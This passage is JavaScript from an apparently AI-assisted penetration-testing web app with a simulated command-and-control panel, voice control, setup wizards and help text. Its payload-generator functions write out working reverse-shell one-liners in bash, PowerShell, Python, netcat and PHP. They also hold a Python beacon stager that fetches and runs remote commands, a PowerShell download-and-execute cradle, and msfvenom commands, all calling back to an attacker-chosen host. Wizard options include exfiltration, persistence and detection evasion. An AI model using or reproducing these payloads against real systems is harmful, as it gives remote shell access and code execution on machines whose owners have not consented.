deleteListener(id) {
const listener = this.c2Listeners.find(l => l.id === id);
if (listener) {
this.c2Listeners = this.c2Listeners.filter(l => l.id !== id);
this.terminalHistory.push({ type: 'info', content: `[C2] Deleted listener: ${listener.name}` });
}
},
simulateAgentCallback(listener) {
if (listener.status !== 'running') return;
const agent = {
id: 'agent-' + Date.now(),
hostname: ['WORKSTATION-01', 'DC01', 'FILESERVER', 'WEB-PROD'][Math.floor(Math.random() * 4)],
username: ['Administrator', 'SYSTEM', 'john.doe', 'svc_account'][Math.floor(Math.random() * 4)],
ip: `192.168.${Math.floor(Math.random() * 255)}.${Math.floor(Math.random() * 255)}`,
os: listener.type === 'http' ? 'Windows Server 2019' : 'Ubuntu 22.04',
arch: 'x64',
pid: Math.floor(Math.random() * 65535),
elevated: Math.random() > 0.5,
status: 'active',
sleep: 5,
last_seen: 'just now',
listener_id: listener.id
};
this.c2Agents.push(agent);
listener.connections++;
this.terminalHistory.push({
type: 'success',
content: `[C2] 🎯 New agent callback: ${agent.hostname} (${agent.ip}) as ${agent.username}${agent.elevated ? ' [ADMIN]' : ''}`
});
},
refreshAgents() {
this.c2Agents.forEach(agent => {
if (agent.status === 'active') {
agent.last_seen = 'just now';
}
});
},
interactAgent(agent) {
this.selectedAgent = agent;
this.activeTab = 'terminal';
this.terminalHistory.push({ type: 'info', content: `[C2] Interacting with agent: ${agent.hostname} (${agent.ip})` });
this.terminalHistory.push({ type: 'info', content: `[C2] Type commands to execute on the remote system` });
},
async taskAgent(agent, taskType, command = '') {
const task = {
id: 'task-' + Date.now(),
agent_id: agent.id,
agent_hostname: agent.hostname,
type: taskType,
command: command || taskType,
status: 'pending',
created_at: new Date().toLocaleString(),
output: null
};
this.c2Tasks.push(task);
this.terminalHistory.push({ type: 'info', content: `[C2] Queued task for ${agent.hostname}: ${task.command}` });
// Simulate task execution
setTimeout(() => {
task.status = 'running';
setTimeout(() => {
task.status = 'completed';
task.output = this.getSimulatedOutput(taskType, command, agent);
this.terminalHistory.push({ type: 'success', content: `[C2] Task completed on ${agent.hostname}: ${task.command}` });
}, 1000 + Math.random() * 2000);
}, 500);
},
getSimulatedOutput(taskType, command, agent) {
const outputs = {
'whoami': agent.elevated ? `${agent.hostname}\\${agent.username}\nMandatory Label\\High Mandatory Level` : agent.username,
'pwd': agent.os.includes('Windows') ? 'C:\\Users\\' + agent.username : '/home/' + agent.username.toLowerCase(),
'ps': `PID PPID Name\n${agent.pid} 1 beacon.exe\n4 0 System\n88 4 Registry\n392 4 smss.exe\n528 520 csrss.exe\n612 520 wininit.exe`,
'shell': `Executing: ${command}\n` + (command === 'whoami' ? agent.username : 'Command completed successfully')
};
return outputs[taskType] || outputs['shell'] || 'Task completed';
},
killAgent(agentId) {
const agent = this.c2Agents.find(a => a.id === agentId);
if (agent) {
agent.status = 'dead';
this.terminalHistory.push({ type: 'warning', content: `[C2] Killed agent: ${agent.hostname}` });
}
},
clearCompletedTasks() {
this.c2Tasks = this.c2Tasks.filter(t => t.status !== 'completed' && t.status !== 'failed');
},
refreshTasks() {
// In real implementation, this would poll the backend
},
generatePayload() {
const { type, lhost, lport, os, arch, format, encode, obfuscate } = this.payloadOptions;
if (!lhost || !lport) {
this.terminalHistory.push({ type: 'error', content: '[C2] LHOST and LPORT are required' });
return;
}
let payload = '';
switch(type) {
case 'reverse_shell':
if (os === 'linux') {
payload = `bash -i >& /dev/tcp/${lhost}/${lport} 0>&1`;
} else if (os === 'windows') {
payload = `powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('${lhost}',${lport});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"`;
} else {
payload = `python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("${lhost}",${lport}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'`;
}
break;
case 'beacon':
payload = `# HTTP Beacon Stager\n# Target: ${lhost}:${lport}\n\nimport urllib.request\nimport base64\nimport ssl\n\nctx = ssl.create_default_context()\nctx.check_hostname = False\nctx.verify_mode = ssl.CERT_NONE\n\nwhile True:\n try:\n req = urllib.request.Request(f"https://${lhost}:${lport}/beacon")\n resp = urllib.request.urlopen(req, context=ctx)\n cmd = base64.b64decode(resp.read()).decode()\n if cmd:\n import subprocess\n out = subprocess.check_output(cmd, shell=True)\n urllib.request.urlopen(\n urllib.request.Request(f"https://${lhost}:${lport}/results", data=base64.b64encode(out)),\n context=ctx\n )\n except: pass\n import time; time.sleep(5)`;
break;
case 'meterpreter':
payload = `# MSFVenom Command:\nmsfvenom -p ${os === 'windows' ? 'windows/x64/meterpreter/reverse_tcp' : 'linux/x64/meterpreter/reverse_tcp'} LHOST=${lhost} LPORT=${lport} -f ${format === 'exe' ? 'exe' : format === 'elf' ? 'elf' : 'raw'} -o payload.${format === 'exe' ? 'exe' : format === 'elf' ? 'elf' : 'bin'}\n\n# Handler:\nmsfconsole -q -x "use exploit/multi/handler; set PAYLOAD ${os === 'windows' ? 'windows/x64/meterpreter/reverse_tcp' : 'linux/x64/meterpreter/reverse_tcp'}; set LHOST ${lhost}; set LPORT ${lport}; run"`;
break;
case 'powershell':
payload = `# PowerShell Download Cradle\npowershell -ep bypass -nop -c "IEX(New-Object Net.WebClient).DownloadString('http://${lhost}:${lport}/shell.ps1')"\n\n# Base64 Encoded Version:\n$cmd = 'IEX(New-Object Net.WebClient).DownloadString(''http://${lhost}:${lport}/shell.ps1'')'\n[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($cmd))`;
break;
case 'python':
payload = `import socket,subprocess,os\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect(("${lhost}",${lport}))\nos.dup2(s.fileno(),0)\nos.dup2(s.fileno(),1)\nos.dup2(s.fileno(),2)\nsubprocess.call(["/bin/sh","-i"])`;
break;
case 'bind_shell':
if (os === 'linux') {
payload = `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc -lvnp ${lport} >/tmp/f`;
} else {
payload = `# Windows Bind Shell (PowerShell)\n$listener = [System.Net.Sockets.TcpListener]${lport}\n$listener.Start()\n$client = $listener.AcceptTcpClient()\n$stream = $client.GetStream()\n$writer = New-Object System.IO.StreamWriter($stream)\n$reader = New-Object System.IO.StreamReader($stream)\nwhile($client.Connected) {\n $writer.Write("PS " + (pwd).Path + "> ")\n $writer.Flush()\n $cmd = $reader.ReadLine()\n $output = iex $cmd 2>&1 | Out-String\n $writer.WriteLine($output)\n}`;
}
break;
default:
payload = `# ${type} payload for ${os} ${arch}\n# Connect back to ${lhost}:${lport}`;
}
if (encode && format === 'base64') {
payload = btoa(payload);
}
this.generatedPayload = payload;
this.terminalHistory.push({ type: 'success', content: `[C2] Generated ${type} payload for ${os}/${arch}` });
},
quickPayload(type) {
const lhost = this.payloadOptions.lhost || '10.10.14.1';
const lport = this.payloadOptions.lport || 4444;
const payloads = {
'bash_reverse': `bash -i >& /dev/tcp/${lhost}/${lport} 0>&1`,
'nc_reverse': `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ${lhost} ${lport} >/tmp/f`,
'python_reverse': `python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("${lhost}",${lport}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'`,
'powershell_reverse': `powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('${lhost}',${lport});$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([Text.Encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length);$s.Flush()}"`,
'php_reverse': `php -r '$s=fsockopen("${lhost}",${lport});exec("/bin/sh -i <&3 >&3 2>&3");'`,
'msfvenom': `# Meterpreter Reverse TCP\nmsfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=${lhost} LPORT=${lport} -f exe -o shell.exe\n\n# Linux Reverse Shell\nmsfvenom -p linux/x64/shell_reverse_tcp LHOST=${lhost} LPORT=${lport} -f elf -o shell.elf\n\n# Web Payloads\nmsfvenom -p php/reverse_php LHOST=${lhost} LPORT=${lport} -o shell.php\nmsfvenom -p java/jsp_shell_reverse_tcp LHOST=${lhost} LPORT=${lport} -o shell.jsp`
};
this.generatedPayload = payloads[type] || '';
},
copyPayload() {
if (this.generatedPayload) {
navigator.clipboard.writeText(this.generatedPayload);
this.terminalHistory.push({ type: 'info', content: '[C2] Payload copied to clipboard' });
}
},
downloadPayload() {
if (!this.generatedPayload) return;
const blob = new Blob([this.generatedPayload], { type: 'text/plain' });
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = `payload.${this.payloadOptions.format || 'txt'}`;
a.click();
URL.revokeObjectURL(url);
},
sendToTerminal() {
if (this.generatedPayload) {
this.terminalInput = this.generatedPayload.split('\n')[0];
this.activeTab = 'terminal';
}
},
// ==========================================
// Voice Control Functions
// ==========================================
initVoice() {
if (!this.voiceSupported) return;
const SpeechRecognition = window.SpeechRecognition || window.webkitSpeechRecognition;
this.speechRecognition = new SpeechRecognition();
this.speechRecognition.continuous = false;
this.speechRecognition.interimResults = true;
this.speechRecognition.lang = 'en-US';
this.speechRecognition.onstart = () => {
this.voiceState = 'listening';
this.voiceTranscript = '';
};
this.speechRecognition.onresult = (event) => {
let transcript = '';
for (let i = event.resultIndex; i < event.results.length; i++) {
transcript += event.results[i][0].transcript;
}
this.voiceTranscript = transcript;
if (event.results[event.results.length - 1].isFinal) {
this.processVoiceCommand(transcript);
}
};
this.speechRecognition.onerror = (event) => {
console.error('Voice recognition error:', event.error);
this.voiceState = 'idle';
this.terminalHistory.push({ type: 'error', content: `[Voice] Error: ${event.error}` });
};
this.speechRecognition.onend = () => {
if (this.voiceState === 'listening') {
this.voiceState = 'idle';
}
};
},
toggleVoice() {
if (!this.voiceSupported) {
alert('Voice recognition is not supported in this browser');
return;
}
if (!this.speechRecognition) {
this.initVoice();
}
if (this.voiceState === 'idle') {
this.speechRecognition.start();
} else if (this.voiceState === 'listening') {
this.speechRecognition.stop();
this.voiceState = 'idle';
}
},
// Alias methods for voice control buttons
toggleVoiceRecording() {
this.toggleVoice();
},
startVoiceRecording() {
if (!this.voiceSupported) return;
if (!this.speechRecognition) this.initVoice();
if (this.voiceState === 'idle') {
this.speechRecognition.start();
}
},
stopVoiceRecording() {
if (this.speechRecognition && this.voiceState === 'listening') {
this.speechRecognition.stop();
this.voiceState = 'idle';
}
},
async processVoiceCommand(transcript) {
this.voiceState = 'processing';
this.terminalHistory.push({ type: 'info', content: `[Voice] Heard: "${transcript}"` });
// Simple voice command parsing
const cmd = transcript.toLowerCase().trim();
if (cmd.includes('scan') && (cmd.includes('network') || cmd.includes('target'))) {
this.userInput = `Scan the target network for open ports`;
await this.sendMessage();
} else if (cmd.includes('help') || cmd.includes('what can you do')) {
this.showHelpPanel = true;
} else if (cmd.includes('terminal') || cmd.includes('shell')) {
this.activeTab = 'terminal';
} else if (cmd.includes('c2') || cmd.includes('command and control')) {
this.activeTab = 'c2';
} else if (cmd.includes('findings') || cmd.includes('vulnerabilities')) {
this.activeTab = 'findings';
} else {
// Send as chat message
this.userInput = transcript;
await this.sendMessage();
}
this.voiceState = 'idle';
},
speak(text) {
if ('speechSynthesis' in window) {
this.voiceState = 'speaking';
const utterance = new SpeechSynthesisUtterance(text);
utterance.rate = 1.0;
utterance.pitch = 1.0;
utterance.onend = () => {
this.voiceState = 'idle';
};
speechSynthesis.speak(utterance);
}
},
// ==========================================
// Wizard Functions
// ==========================================
startWizard(type = 'mission_planning') {
this.wizardType = type;
this.wizardStep = 1;
this.wizardData = {};
const wizardConfigs = {
'first_time': {
title: '🦆 Welcome to GooseStrike',
steps: [
{
title: 'Set Your First Target',
description: 'Enter the IP address or hostname of your authorized target.',
fields: [
{ name: 'target', label: 'Target IP/Hostname', type: 'text', placeholder: '10.10.10.1 or target.htb' },
{ name: 'scope', label: 'Engagement Scope', type: 'select', options: [
{ value: 'single', label: 'Single Host' },
{ value: 'subnet', label: 'Subnet/Range' },
{ value: 'web', label: 'Web Application' }
]}
],
tips: ['Always ensure you have proper authorization', 'Start with passive recon before active scanning']
},
{
title: 'Choose Your Approach',
description: 'Select how you want to begin the engagement.',
fields: [
{ name: 'approach', label: 'Initial Approach', type: 'select', options: [
{ value: 'stealth', label: 'Stealth (Slow, low noise)' },
{ value: 'balanced', label: 'Balanced (Normal speed)' },
{ value: 'aggressive', label: 'Aggressive (Fast, noisy)' }
]},
{ name: 'focus', label: 'Primary Focus', type: 'select', options: [
{ value: 'infrastructure', label: 'Infrastructure' },
{ value: 'web', label: 'Web Applications' },
{ value: 'ad', label: 'Active Directory' }
]}
],
tips: ['Stealth mode uses timing and technique evasion', 'CTF/Labs can use aggressive mode']
},
{
title: 'Ready to Strike!',
description: 'Review your configuration and start your engagement.',
fields: [],
tips: ['GooseStrike will guide you through each phase', 'Use the AI chat for real-time assistance', 'All commands are logged for your report']
}
]
},
'mission_planning': {
title: '🎯 Mission Planning',
steps: [
{
title: 'Define Your Target',
description: 'Specify the target scope for this mission.',
fields: [
{ name: 'target', label: 'Target', type: 'text', placeholder: 'IP, hostname, or CIDR range' },
{ name: 'name', label: 'Mission Name', type: 'text', placeholder: 'Operation Honeybadger' }
],
tips: ['Use descriptive mission names for report clarity']
},
{
title: 'Set Objectives',
description: 'What are you trying to achieve?',
fields: [
{ name: 'objective', label: 'Primary Objective', type: 'select', options: [
{ value: 'foothold', label: 'Gain Initial Foothold' },
{ value: 'privesc', label: 'Privilege Escalation' },
{ value: 'data', label: 'Data Exfiltration' },
{ value: 'persistence', label: 'Establish Persistence' },
{ value: 'full', label: 'Full Compromise' }
]},
{ name: 'notes', label: 'Additional Notes', type: 'textarea', placeholder: 'Any specific requirements...' }
]
},
{
title: 'Configure Constraints',
description: 'Set any operational constraints.',
fields: [
{ name: 'timeLimit', label: 'Time Limit', type: 'select', options: [
{ value: 'none', label: 'No Limit' },
{ value: '1h', label: '1 Hour' },
{ value: '4h', label: '4 Hours' },
{ value: '24h', label: '24 Hours' }
]},
{ name: 'noisy', label: 'Noise Level', type: 'select', options: [
{ value: 'quiet', label: 'Quiet (Evade detection)' },
{ value: 'normal', label: 'Normal' },
{ value: 'loud', label: 'Loud (Speed priority)' }
]}
]
}
]
},
'guided_tour': {
title: '🦆 GooseStrike Tour',
steps: [
{
title: 'The Command Center',
description: 'This is your AI-powered penetration testing assistant. Ask questions, get recommendations, and let GooseStrike guide your engagement.',
fields: [],
tips: ['Type natural language commands', 'Ask for tool recommendations', 'Request explanations of findings']
},
{
title: 'Phase-Based Workflow',
description: 'The left sidebar shows the penetration testing phases: Recon → Scanning → Vuln Assessment → Exploitation → Post-Exploitation.',
fields: [],
tips: ['Click a phase to see relevant tools', 'Quick actions are available for common tasks', 'The AI adapts recommendations to your current phase']
},
{
title: 'Terminal & Network Map',
description: 'Execute commands directly in the Terminal tab. View discovered hosts and their relationships in the Network tab.',
fields: [],
tips: ['Commands run in an isolated Kali container', 'Network map updates automatically', 'Click hosts to see details']
},
{
title: 'C2 Framework',
description: 'The C2 tab provides command and control capabilities: manage listeners, track agents, and generate payloads.',
fields: [],
tips: ['Supports multiple listener types', 'Generate reverse shells quickly', 'Task agents with commands']
}
]
},
'first_time_setup': {
title: '🚀 First Time Setup',
steps: [
{
title: 'Welcome to GooseStrike!',
description: 'Let\'s get you set up with your first penetration testing project.',
fields: [
{ name: 'projectName', label: 'Project Name', type: 'text', placeholder: 'My First Pentest' }
],
tips: ['Projects help organize your findings', 'All data is saved per-project']
},
{
title: 'Configure Your Target',
description: 'Enter the target you have authorization to test.',
fields: [
{ name: 'target', label: 'Target IP/Hostname', type: 'text', placeholder: '10.10.10.1 or target.htb' },
{ name: 'scope', label: 'Scope Type', type: 'select', options: [
{ value: 'single', label: 'Single Host' },
{ value: 'network', label: 'Network Range' },
{ value: 'webapp', label: 'Web Application' }
]}
],
tips: ['⚠️ Only test systems you own or have explicit permission to test']
},
{
title: 'You\'re All Set!',
description: 'GooseStrike is ready. Here\'s how to get started:',
fields: [],
tips: ['Use the AI Chat to ask questions', 'Terminal tab runs commands in Kali', 'Network tab shows discovered hosts', 'Check the CTF Agent tab for capture-the-flag help']
}
]
},
'run_scan': {
title: '🔍 Scan Wizard',
steps: [
{
title: 'Select Scan Type',
description: 'Choose the type of scan to run.',
fields: [
{ name: 'scanType', label: 'Scan Type', type: 'select', options: [
{ value: 'quick', label: 'Quick Scan (Top 100 ports)' },
{ value: 'full', label: 'Full Port Scan (All 65535)' },
{ value: 'service', label: 'Service Version Detection' },
{ value: 'vuln', label: 'Vulnerability Scan' },
{ value: 'stealth', label: 'Stealth Scan (SYN)' }
]}
],
tips: ['Quick scans are faster but may miss ports', 'Service detection helps identify exploits']
},
{
title: 'Enter Target',
description: 'Specify what to scan.',
fields: [
{ name: 'target', label: 'Target', type: 'text', placeholder: '10.10.10.1 or 10.10.10.0/24' },
{ name: 'ports', label: 'Specific Ports (optional)', type: 'text', placeholder: '22,80,443,8080' }
],
tips: ['CIDR notation for network ranges', 'Leave ports blank for default']
},
{
title: 'Ready to Scan',
description: 'Review and start your scan.',
fields: [],
tips: ['Results appear in the Network tab', 'Click hosts to see details and exploits']
}
]
},
'create_operation': {
title: '📋 New Operation',
steps: [
{
title: 'Operation Details',
description: 'Set up your new operation/engagement.',
fields: [
{ name: 'name', label: 'Operation Name', type: 'text', placeholder: 'Operation Thunderstrike' },
{ name: 'client', label: 'Client/Target Org', type: 'text', placeholder: 'ACME Corp' }
],
tips: ['Use codenames for operational security']
},
{
title: 'Scope & Rules',
description: 'Define the engagement scope.',
fields: [
{ name: 'inScope', label: 'In-Scope Targets', type: 'textarea', placeholder: '10.10.10.0/24\nweb.target.com' },
{ name: 'outOfScope', label: 'Out-of-Scope', type: 'textarea', placeholder: 'production.target.com\n10.10.20.0/24' }
],
tips: ['Document scope clearly', 'Stay within authorized boundaries']
},
{
title: 'Timeline',
description: 'Set operation timeline.',
fields: [
{ name: 'startDate', label: 'Start Date', type: 'text', placeholder: 'YYYY-MM-DD' },
{ name: 'endDate', label: 'End Date', type: 'text', placeholder: 'YYYY-MM-DD' },
{ name: 'testingWindow', label: 'Testing Window', type: 'select', options: [
{ value: '24x7', label: '24/7 Testing Allowed' },
{ value: 'business', label: 'Business Hours Only' },
{ value: 'offhours', label: 'Off-Hours Only' }
]}
],
tips: ['Respect testing windows', 'Coordinate with client']
}
]
}
};
const config = wizardConfigs[type] || wizardConfigs['mission_planning'];
this.wizardTitle = config.title;
this.wizardSteps = config.steps;
this.showWizardModal = true;
},
completeWizard() {
this.showWizardModal = false;
if (this.wizardType === 'first_time' || this.wizardType === 'mission_planning' || this.wizardType === 'first_time_setup') {
// Apply wizard configuration
if (this.wizardData.target) {
this.userInput = `Start reconnaissance on ${this.wizardData.target}`;
this.sendMessage();
}
if (this.wizardData.projectName) {
this.terminalHistory.push({ type: 'success', content: `[Wizard] Project "${this.wizardData.projectName}" configured` });
} else {
this.terminalHistory.push({ type: 'success', content: `[Wizard] Mission configured: ${this.wizardData.name || 'New Mission'}` });
}
} else if (this.wizardType === 'run_scan') {
// Execute scan based on wizard data
if (this.wizardData.target) {
const scanTypes = {
'quick': '-sT --top-ports 100',
'full': '-sT -p-',
'service': '-sV',
'vuln': '-sV --script vuln',
'stealth': '-sS'
};
const scanArgs = scanTypes[this.wizardData.scanType] || '-sT';
const ports = this.wizardData.ports ? `-p ${this.wizardData.ports}` : '';
const cmd = `nmap ${scanArgs} ${ports} ${this.wizardData.target}`;
this.terminalInput = cmd;
this.executeCommand();
this.terminalHistory.push({ type: 'success', content: `[Wizard] Scan started: ${this.wizardData.scanType}` });
}
} else if (this.wizardType === 'create_operation') {
// Create operation/project
if (this.wizardData.name) {
this.newProject.name = this.wizardData.name;
this.newProject.description = `Client: ${this.wizardData.client || 'N/A'}\nIn-scope: ${this.wizardData.inScope || ''}\nOut-of-scope: ${this.wizardData.outOfScope || ''}`;
this.newProject.target_network = this.wizardData.inScope?.split('\n')[0] || '';
this.showProjectModal = true;
this.terminalHistory.push({ type: 'success', content: `[Wizard] Operation "${this.wizardData.name}" template ready` });
}
}
this.wizardData = {};
},
// ==========================================
// Explain Functions
// ==========================================
async explainThis(type, context) {
this.explainContext = { type, ...context };
this.showExplainModal = true;
this.explainLoading = true;
this.explainResult = null;
try {
// Call backend explain API
const response = await fetch('/api/explain', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ type, context })
});
if (response.ok) {
this.explainResult = await response.json();
} else {
// Fallback to local explanations
this.explainResult = this.getLocalExplanation(type, context);
}
} catch (error) {
console.error('Explain error:', error);
this.explainResult = this.getLocalExplanation(type, context);
}
this.explainLoading = false;
},
getLocalExplanation(type, context) {
const explanations = {
'port': {
title: `Port ${context.port}/${context.protocol || 'tcp'}`,
description: this.getPortDescription(context.port),
recommendations: this.getPortRecommendations(context.port),
example: this.getPortExample(context.port)
},
'service': {
title: `Service: ${context.service}`,
description: `${context.service} is a common service found on target systems.`,
recommendations: ['Check for known vulnerabilities', 'Look for default credentials', 'Test for misconfigurations']
},
'tool': {
title: `Tool: ${context.tool}`,
description: `${context.tool} is a penetration testing tool used in security assessments.`,
recommendations: ['Check the manual with --help', 'Use appropriate scan intensity', 'Document all findings']
},
'finding': {
title: `Finding: ${context.title || 'Security Issue'}`,
description: context.description || 'A potential security issue was discovered.',
recommendations: ['Verify the finding manually', 'Assess business impact', 'Document exploitation steps'],
warnings: context.severity === 'critical' ? ['This is a critical finding - proceed with caution'] : []
}
};
return explanations[type] || { title: 'Explanation', description: 'Information not available.' };
},
getPortDescription(port) {
const ports = {
21: 'FTP (File Transfer Protocol) - Used for file transfers. Often misconfigured with anonymous access.',
22: 'SSH (Secure Shell) - Encrypted remote access. Check for weak credentials or old versions.',
23: 'Telnet - Unencrypted remote access. Sensitive data transmitted in plaintext.',
25: 'SMTP (Simple Mail Transfer Protocol) - Email server. Check for open relay.',
53: 'DNS (Domain Name System) - Name resolution. Zone transfers may leak info.',
80: 'HTTP - Web server. Check for web vulnerabilities.',
443: 'HTTPS - Encrypted web server. Check SSL/TLS configuration.',
445: 'SMB (Server Message Block) - Windows file sharing. Often targeted for exploits.',
3306: 'MySQL - Database server. Check for weak auth.',
3389: 'RDP (Remote Desktop Protocol) - Windows remote desktop. BlueKeep vulnerable versions exist.',
5432: 'PostgreSQL - Database server. Check for default credentials.',
6379: 'Redis - In-memory database. Often unprotected.'
};
return ports[port] || `Port ${port} - Check service fingerprinting for more details.`;
},
getPortRecommendations(port) {
const recs = {
21: ['Check for anonymous FTP access', 'Try common credentials', 'Look for writeable directories'],
22: ['Enumerate SSH version', 'Try password spray', 'Check for known CVEs'],
80: ['Run directory enumeration', 'Check for common vulnerabilities', 'Identify web technologies'],
443: ['Check SSL/TLS configuration', 'Look for certificate info disclosure', 'Same tests as port 80'],
445: ['Enumerate SMB shares', 'Check for EternalBlue', 'Try null session'],
3389: ['Check for BlueKeep', 'Try credential spray', 'Look for NLA bypass']
};
return recs[port] || ['Fingerprint the service', 'Check for default credentials', 'Search for known CVEs'];
},
getPortExample(port) {
const examples = {
21: 'ftp 10.10.10.1\n> anonymous\n> anonymous@',
22: 'ssh -o StrictHostKeyChecking=no user@10.10.10.1',
80: 'gobuster dir -u http://10.10.10.1 -w /usr/share/wordlists/dirb/common.txt',
445: 'smbclient -L //10.10.10.1 -N',
3389: 'xfreerdp /u:user /v:10.10.10.1'
};
return examples[port] || `nmap -sV -p ${port} 10.10.10.1`;
},
// ==========================================
// Help Panel Functions
// ==========================================
toggleHelpPanel() {
this.showHelpPanel = !this.showHelpPanel;
if (this.showHelpPanel && this.helpMessages.length === 0) {
// Add welcome message
this.helpMessages.push({
role: 'assistant',
content: `👋 **Welcome to GooseStrike Help!**
I can help you with:
- 🔍 **Scanning** - Network reconnaissance, port scanning, service detection
- 💉 **Exploitation** - Using exploits, payload generation
- 📡 **C2** - Setting up listeners, managing agents
- 📝 **Reporting** - Documenting findings
- 🛠️ **Tools** - Any Kali Linux tool questions
Just ask your question below!`,
time: new Date().toLocaleTimeString([], { hour: '2-digit', minute: '2-digit' })
});
}
},
showWizard(wizardType) {
this.wizardType = wizardType;
this.wizardStep = 1;
this.wizardData = {};
this.showWizardModal = true;
this.startWizard(wizardType);
},
async sendHelpMessage() {
if (!this.helpInput.trim()) return;
const userMessage = {
role: 'user',
content: this.helpInput,
time: new Date().toLocaleTimeString([], { hour: '2-digit', minute: '2-digit' })
};
this.helpMessages.push(userMessage);
this.helpInput = '';
this.helpLoading = true;
// Scroll to bottom
this.$nextTick(() => {
const container = document.getElementById('help-messages');
if (container) container.scrollTop = container.scrollHeight;
});
try {
const response = await fetch('/api/help', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ question: userMessage.content })
});
let answer = '';
if (response.ok) {
const data = await response.json();
answer = data.answer || data.response || 'I can help with that!';
} else {
answer = this.getLocalHelp(userMessage.content);
}
this.helpMessages.push({
role: 'assistant',
content: answer,
time: new Date().toLocaleTimeString([], { hour: '2-digit', minute: '2-digit' })
});
} catch (error) {
this.helpMessages.push({
role: 'assistant',
content: this.getLocalHelp(userMessage.content),
time: new Date().toLocaleTimeString([], { hour: '2-digit', minute: '2-digit' })
});
}
this.helpLoading = false;
this.$nextTick(() => {
const container = document.getElementById('help-messages');
if (container) container.scrollTop = container.scrollHeight;
});
},
askHelpQuestion(question) {
this.helpInput = question;
this.sendHelpMessage();
},
// Alias for quick help buttons
askHelp(question) {
this.showHelpPanel = true;
this.$nextTick(() => {
this.helpInput = question;
this.sendHelpMessage();
});
},
// Wrapper for explain input functionality
explainInput() {
if (this.userInput.trim()) {
this.explainThis('command', { command: this.userInput.trim() });
} else {
this.terminalHistory.push({
type: 'info',
content: 'Type a command or select text to explain'
});
}
},
getLocalHelp(question) {
const q = question.toLowerCase();
if (q.includes('scan') && q.includes('network')) {
return `To scan a network:\n\n1. Go to the **Recon** phase\n2. Click **Quick Port Scan** or use the terminal\n3. Example: \`nmap -sV 10.10.10.0/24\`\n\nYou can also ask me in the main chat!`;
}
if (q.includes('c2') || q.includes('command and control')) {
return `The **C2 tab** provides:\n\n- **Listeners**: Create HTTP/HTTPS/TCP listeners\n- **Agents**: Manage connected agents\n- **Payloads**: Generate reverse shells\n- **Tasks**: Send commands to agents\n\nClick the C2 tab to get started!`;
}
if (q.includes('payload') || q.includes('reverse shell')) {
return `To generate payloads:\n\n1. Go to **C2 tab** → **Payloads**\n2. Set your LHOST and LPORT\n3. Choose OS and format\n4. Click **Generate**\n\nOr use Quick Payloads for common shells!`;
}
if (q.includes('mission') || q.includes('planning')) {
return `Mission planning workflow:\n\n1. Click **Start Wizard** in the sidebar\n2. Define your target and scope\n3. Set objectives and constraints\n4. GooseStrike guides you through each phase\n\nThe AI will adapt recommendations based on your mission!`;
}
return `I'm here to help with GooseStrike!\n\nI can assist with:\n- Network scanning\n- Exploitation techniques\n- C2 framework usage\n- Payload generation\n- Report generation\n\nWhat would you like to know?`;
},
// Simple markdown renderer
renderMarkdown(text) {
if (!text) return '';
return text
.replace(/\*\*(.*?)\*\*/g, '<strong>$1</strong>')
.replace(/\*(.*?)\*/g, '<em>$1</em>')
.replace(/`(.*?)`/g, '<code class="bg-sp-grey px-1 rounded">$1</code>')
.replace(/\n/g, '<br>');
}
}
}
</script>
</body>
</html>